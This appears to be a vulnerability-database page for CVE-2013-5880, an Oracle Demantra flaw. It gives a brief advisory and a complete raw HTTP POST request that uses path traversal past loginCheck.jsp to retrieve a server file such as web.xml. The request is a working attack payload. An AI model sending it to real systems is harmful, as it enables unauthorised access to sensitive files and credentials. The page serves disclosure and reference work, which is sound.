Oracle Supply Chain Products Suite - Remote Security
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2013-5880 | 14 Jan 201400:00 | – | circl |
 | CVE-2013-5880 | 15 Jan 201400:30 | – | cve |
 | CVE-2013-5880 | 15 Jan 201400:30 | – | cvelist |
 | CVE-2013-5880 | 15 Jan 201416:11 | – | nvd |
 | Oracle Critical Patch Update - January 2014 | 14 Jan 201400:00 | – | oracle |
| Oracle Critical Patch Update - January 2014 | 14 Jan 201400:00 | – | oracle |
 | Oracle Demantra 12.2.1 Authentication Bypass | 2 Mar 201400:00 | – | packetstorm |
| Oracle Demantra Arbitrary File Retrieval With Authentication Bypass | 1 Sep 202400:00 | – | packetstorm |
| Oracle Demantra Database Credentials Leak | 1 Sep 202400:00 | – | packetstorm |
 | Buffer overflow | 15 Jan 201416:11 | – | prion |
10
source: https://www.securityfocus.com/bid/64836/info
Oracle Supply Chain Products Suite is prone to a remote vulnerability in Oracle Demantra Demand Management.
The vulnerability can be exploited over the 'HTTP' protocol. The 'DM Others' sub component is affected.
Attackers can exploit this issue to obtain sensitive information.
This vulnerability affects the following supported versions:
12.2.0, 12.2.1, 12.2.2
POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xmlData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Dec 2015 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.59558